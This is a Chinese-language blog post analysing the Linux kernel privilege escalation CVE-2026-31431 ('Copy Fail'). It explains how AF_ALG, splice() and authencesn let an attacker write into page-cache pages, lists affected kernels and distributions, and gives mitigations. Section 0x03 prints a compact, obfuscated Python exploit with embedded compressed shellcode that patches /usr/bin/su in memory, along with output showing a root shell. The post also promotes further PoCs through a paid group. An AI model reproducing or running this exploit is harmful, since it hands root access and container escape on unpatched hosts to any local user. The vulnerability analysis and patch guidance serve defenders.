Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)

0x01 事件速览:一颗潜伏9年的"定时炸弹"

2026年4月29日,韩国安全研究团队 Theori 公开披露了一个堪称"史诗级"的 Linux 内核本地提权漏洞------CVE-2026-31431 ,代号 "Copy Fail" 。该漏洞由研究员 Taeyang Lee 借助 AI 辅助代码审计工具 Xint Code 发现,并于3月23日报告给 Linux 内核安全团队。

这颗"炸弹"的可怕之处在于:

  • 潜伏时间长达9年 :漏洞源于2017年引入的一个"原地优化"(commit 72548b093ee3),此后所有基于该版本构建的内核均受影响;

  • 100%确定性利用:无需竞争条件、无需硬编码内核偏移、跨发行版通用;

  • 攻击门槛极低 :仅需一个本地普通用户账号 + 732字节的 Python 脚本,即可从 uid=1000 秒变 uid=0

  • 容器逃逸利器:在共享内核的云环境、K8s集群、CI/CD流水线中,一个受控容器即可突破隔离,直取宿主机 root。

美国网络安全与基础设施安全局(CISA)已在5月1日将其纳入 已知被利用漏洞目录(KEV),各大发行版补丁正在紧急推送中。

免责声明

请自行搭建环境进行漏洞测试,作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为,如用于其他用途,由使用者承担全部法律及连带责任,与作者无关。

TIPS: 更多POC 末尾领取资料及加入星球福利

0x02漏洞原理:当加密API遇上页缓存

Copy Fail 并非传统意义上的内存破坏漏洞(如堆溢出、UAF),而是一个逻辑缺陷。它恰好位于三个内核子系统的交汇点:

子系统 角色
AF_ALG Linux 用户态加密 API 套接字接口,允许用户程序调用内核加密算法
splice() 零拷贝系统调用,可在文件描述符和管道之间直接搬运数据,绕过用户态缓冲区
authencesn AEAD(认证加密)算法模板,组合了 hmac(sha256)cbc(aes)

2017年,内核开发者为提升 AEAD 操作性能,引入了一项原地优化:当源数据与目标数据位于同一内存区域时,避免不必要的内存拷贝。这本是一个性能优化,却埋下了一颗逻辑炸弹。

algif_aead 模块处理 AEAD 解密时,内核会构建两个散列表(Scatter-Gather List):

  • TX SGL(发送散列表):存放待解密的密文;

  • DST SGL(目标散列表):存放解密后的明文。

正常情况下,DST SGL 应该指向一块独立的内核缓冲区。但2017年的优化允许:当检测到"原地操作"条件时,直接将页缓存(Page Cache)页面链接到 DST SGL 的可写链表中

攻击数据流:4字节精准注入

复制代码
sendmsg(AAD)              splice(目标文件)
       │                          │
       ▼                          ▼
  ┌──────────┐   sg_chain    ┌──────────────────┐
  │ RX缓冲区 │──────────────▶│   页缓存页面      │
  │  8字节   │               │ (如 /usr/bin/su)│
  └──────────┘               └──────────────────┘
                                    ▲
                                    │
                         authencesn 在此写入 seqno_lo
                         偏移 = assoclen + cryptlen
                         ════ 漏洞触发点 ════

具体步骤如下:

  1. 创建加密套接字 :调用 socket(AF_ALG, ...) 创建 AEAD 套接字,绑定 authencesn(hmac(sha256),cbc(aes)) 算法;

  2. 注入页缓存 :通过 splice() 将目标文件(如 /usr/bin/su)的页缓存页面零拷贝到套接字的发送端;

  3. 构造AAD :通过 sendmsg() + MSG_MORE 发送关联认证数据(AAD),其中包含攻击者完全可控的 4字节 seqno_lo

  4. 触发越界写 :内核在处理 AEAD 解密时,将 seqno_lo 写入 DST SGL 的 assoclen + cryptlen 偏移处。由于 DST SGL 已链接到页缓存页面,这4字节直接落入了只读文件的页缓存中;

  5. HMAC校验失败 :由于数据被篡改,HMAC 校验必然失败,内核返回 EBADMSG 错误。但此时页缓存已被污染,且磁盘上的文件原封不动

影响范围:几乎全军覆没

受影响的内核版本

版本范围 状态
Linux 4.14 ~ 6.18.21 ❌ vulnerable
Linux 6.19.0 ~ 6.19.11 ❌ vulnerable
Linux 6.18.22+ / 6.19.12+ / 7.0+ ✅ patched

受影响的发行版

包括但不限于:

  • Ubuntu:16.04/18.04/20.04/22.04/24.04 LTS 等

  • Red Hat:RHEL 8/9/10,CentOS Stream,Fedora

  • Debian:Debian 9/10/11/12

  • SUSE:SLES 15, openSUSE Leap/Tumbleweed

  • Arch Linux

  • Amazon Linux 2/2023

  • Alpine Linux(容器基础镜像!)

0x03 漏洞复现

执行命令python3 copy_fail_exp.py

复制代码
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

复现效果

复制代码
[*] CVE-2026-31431 'Copy Fail' Exploit
[*] Universal Linux kernel privilege escalation
[*] Target binary: /usr/bin/su
[*] Testing for vulnerability...
[+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3)
[+] File size: 56944 bytes
[+] Shellcode size: 160 bytes
[+] Patching file in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

0x04 修复建议

方案A:卸载 algif_aead 模块(推荐)

⚠️ RHEL 9 用户注意algif_aead 在 RHEL 9 中为内置模块(built-in),无法通过 rmmod 卸载,必须等待内核补丁或采用方案B。

方案B:限制 AF_ALG 套接字

通过 seccompSELinuxAppArmor 或容器安全策略,禁止不可信工作负载访问 AF_ALG 接口:

方案C:监控异常 splice + AF_ALG 组合

长期修复:升级内核

目标版本 修复状态
Linux 6.18.22+ ✅ 已修复
Linux 6.19.12+ ✅ 已修复
Linux 7.0+ ✅ 已修复

各大发行版补丁状态(截至2026年5月2日):

  • Ubuntu:已发布 USN 公告,紧急更新推送中

  • Red Hat:RHEL 8/9/10 补丁正在测试,预计48小时内发布

  • Debian:DSA 公告已发布

  • SUSE:维护更新已可用

  • Arch:linux 包已更新至修复版本

相关推荐
她说彩礼65万2 小时前
C语言 文件
linux·服务器·c语言
txg6662 小时前
自动驾驶领域热点简报(2026-04-26 ~ 2026-05-03)
linux·人工智能·自动驾驶
雪碧聊技术2 小时前
在项目中引入JWT令牌
安全
二哈赛车手2 小时前
新人笔记---ES和kibana启动问题以及一些常用的linux的错误排查方法,以及ES,数据库泄密解决方案[超详细]
java·linux·数据库·spring boot·笔记·elasticsearch
嵌入式×边缘AI:打怪升级日志2 小时前
嵌入式Linux开发核心自测题(全系列精华浓缩)
java·linux·运维
嵌入式×边缘AI:打怪升级日志2 小时前
TinaSDK Linux Kernel 基本使用(全志T113开发板)
linux·运维·服务器
嵌入式×边缘AI:打怪升级日志3 小时前
Linux内核基础完全入门指南(理论篇)
linux·运维·服务器
Muyuan19983 小时前
28.Paper RAG Agent 开发记录:修复 LLM Rerank 的解析、Fallback 与可验证性
linux·人工智能·windows·python·django·fastapi
比昨天多敲两行3 小时前
Linux进程概念
linux·运维·服务器